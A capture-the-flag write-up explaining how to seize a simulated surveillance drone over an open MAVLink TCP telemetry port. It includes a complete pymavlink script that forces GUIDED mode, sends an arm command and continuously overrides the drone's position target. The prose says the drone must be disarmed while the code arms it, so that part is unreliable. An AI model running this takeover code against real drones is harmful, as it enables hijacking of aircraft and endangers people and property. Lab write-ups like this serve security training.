Sky Recon: Drone Hacking

Platform: HTB Global Cyber Skills Benchmark CTF 2025: Operation Blackout

Category/Tags: Hardware

Difficulty: Medium

Challenge Description

Volnayan operatives have deployed a surveillance drone using the MAVLink protocol within our territory. It’s actively transmitting intel back to enemy command. Your objective: intercept the signal and seize control of the drone before it leaks critical information about our defense assets and covert operations.

Information Gathering

In this challenge, we are given a file—referred to as the 'Intelligence Briefing'—which contains several key aspects to consider when intercepting the drone.

  • Objective: Your mission is to intercept an enemy drone deployed by Volnayan operatives. With assistance from Task Force Phoenix's intel team—who have established a temporary forward operating base nearby—you must take control of the drone mid-flight and redirect it to the intel team’s secure landing zone before it completes its reconnaissance sweep. Satellite imaging and live telemetry feeds will support your efforts.

  • Telemetry Stream: Live telemetry is being intercepted from the drone's MAVLink uplink.

  • Electronic Warfare Support: To assist your mission, the intel-team has initiated localized RF jamming around the temporary base at (-35.36276,149.165771). This will:

    • Disrupt communications with the Volnayan ground control station (GCS)

    • Prevent remote overrides or failsafe return-to-launch

    Jamming Zone

We also have the telemetry link (which contains gibberish outputs) and the monitoring link.

Drone Monitoring

As you can see, it follows a hexagon-shaped movement pattern and is armed

Before we can intercept the drone's functionality, we need to understand what MAVLink is and how it has transformed modern drones..

MAVLink is a very lightweight messaging protocol for communicating with drones (and between onboard drone components).

MAVLink follows a modern hybrid publish-subscribe and point-to-point design pattern: Data streams are sent / published as topics while configuration sub-protocols such as the mission protocol or parameter protocol are point-to-point with retransmission. From mavlink.io.

From that excerpt, it seems possible to intercept the drone using the MAVLink protocol. But how can we transmit messages to the drone?

General Telemetry, MAVLink is designed to support sending continuous telemetry streams including position, velocity, attitude and similar key states of a drone. From mavlink.io .

The machine has an open telemetry port that can be exploited by sending streams of position data (e.g., latitude, longitude, and altitude). According to intelligence reports, this drone uses the Transmission Control Protocol (TCP).

Our goal is to instruct the drone to fly to the Jamming Zone at coordinates (-35.36276, 149.165771), remain there, and never return to its current position. Additionally, the drone must remain disarmed.

Exploit

We will be using pymavlink throughout this script. It is designed to work with the MAVLink interface and provides useful utilities for interacting with it.

In this part we need to connect to the telemetry link, set the latitude, longitude, and altitude coordinates, and define the interval for sending these coordinate commands. As confirmed earlier, the messages will be transmitted using TCP.

from pymavlink import mavutil
import time
import threading

# === CONFIGURATION ===
TARGET_IP = <TELEMETRY_IP>
TARGET_PORT = <TELEMETRY_PORT>
REDIRECT_LAT = -35.36276
REDIRECT_LON = 149.165771
REDIRECT_ALT = 0  # in meters
SEND_INTERVAL = 1  # seconds between redirect commands

# === CONNECT TO DRONE ===
print("[*] Connecting to MAVLink stream...")
master = mavutil.mavlink_connection(f'tcp:{TARGET_IP}:{TARGET_PORT}')

The heartbeat message confirms that we are connected to the drone and that it is responding correctly. Setting the mode to GUIDED allows us to take control mid-flight, enabling us to send commands and bypass pre-programmed flight plans. We also need to disarm the drone using the MAV_CMD_COMPONENT_ARM_DISARM command.

# Wait for heartbeat before sending commands
print("[*] Waiting for heartbeat...")
master.wait_heartbeat()
print(f"[+] Heartbeat received (System {master.target_system}, Component {master.target_component})")

# === SET GUIDED MODE ===
print("[*] Setting mode to GUIDED...")
master.set_mode_apm('GUIDED')

# === ARM DRONE ===
print("[*] Arming drone...")
master.mav.command_long_send(
    master.target_system, master.target_component,
    mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
    0, 1, 0, 0, 0, 0, 0, 0
)
time.sleep(2)

Heartbeat monitoring runs in the background, it periodically checks the connection to determine whether the drone is still responsive or has gone offline. Next is the loop function, which continuously sends commands to fly to specific coordinates at a designated altitude.

  • It uses SET_POSITION_TARGET_GLOBAL_INT to send a GPS target.

  • It sets a bitmask (0b110111111000) that enables position control (lat/lon/alt) but disables velocity/yaw/acceleration.

  • It sends the message every SEND_INTERVAL seconds (e.g. 2s) to override any other commands or failsafes that might try to redirect the drone, because as I said earlier, we need to prevent the drone to get back to its old position.

# === Background: Maintain heartbeat monitoring ===
def heartbeat_monitor():
    while True:
        msg = master.recv_match(type='HEARTBEAT', blocking=True, timeout=5)
        if msg:
            print(f"[~] Heartbeat from system {msg.get_srcSystem()}")
        else:
            print("[!] Lost heartbeat!")
            break

threading.Thread(target=heartbeat_monitor, daemon=True).start()

# === Loop: Constantly redirect to secure LZ ===
print(f"[*] Starting continuous redirect to ({REDIRECT_LAT}, {REDIRECT_LON}, {REDIRECT_ALT}m)...")
try:
    while True:
        master.mav.set_position_target_global_int_send(
            0,
            master.target_system,
            master.target_component,
            mavutil.mavlink.MAV_FRAME_GLOBAL_RELATIVE_ALT_INT,
            int(0b110111111000),
            int(REDIRECT_LAT * 1e7),
            int(REDIRECT_LON * 1e7),
            REDIRECT_ALT,
            0, 0, 0,
            0, 0, 0,
            0, 0
        )
        print("[+] Redirect command sent.")
        time.sleep(SEND_INTERVAL)

except KeyboardInterrupt:
    print("\n[!] Interrupt received, exiting.")

MAV Commands mentioned (From mavlink.io):

  • HEARTBEAT - shows that a system or component is present and responding

  • MAV_CMD_NAV_GUIDED_ENABLE - hand control over to an external controller

  • MAV_CMD_COMPONENT_ARM_DISARM - Arms / Disarms a component

  • SET_POSITION_TARGET_GLOBAL_INT - Sets a desired vehicle position, velocity, and/or acceleration in a global coordinate system (WGS84). Used by an external controller to command the vehicle (manual controller or other system).

  • MAV_FRAME_GLOBAL_RELATIVE_ALT_INT (deprecated) - Global (WGS84) coordinate frame (scaled) + altitude relative to the home position.

Now we can run the Python script using the following command,

python3 exploit.py

Wait a few minutes, as the process may take some time until the drone is disarmed and lands in the Jamming Zone. You can watch the full video showing the entire process—from the drone's initial hexagon-shaped movement to its arrival at the temporary base.

Last updated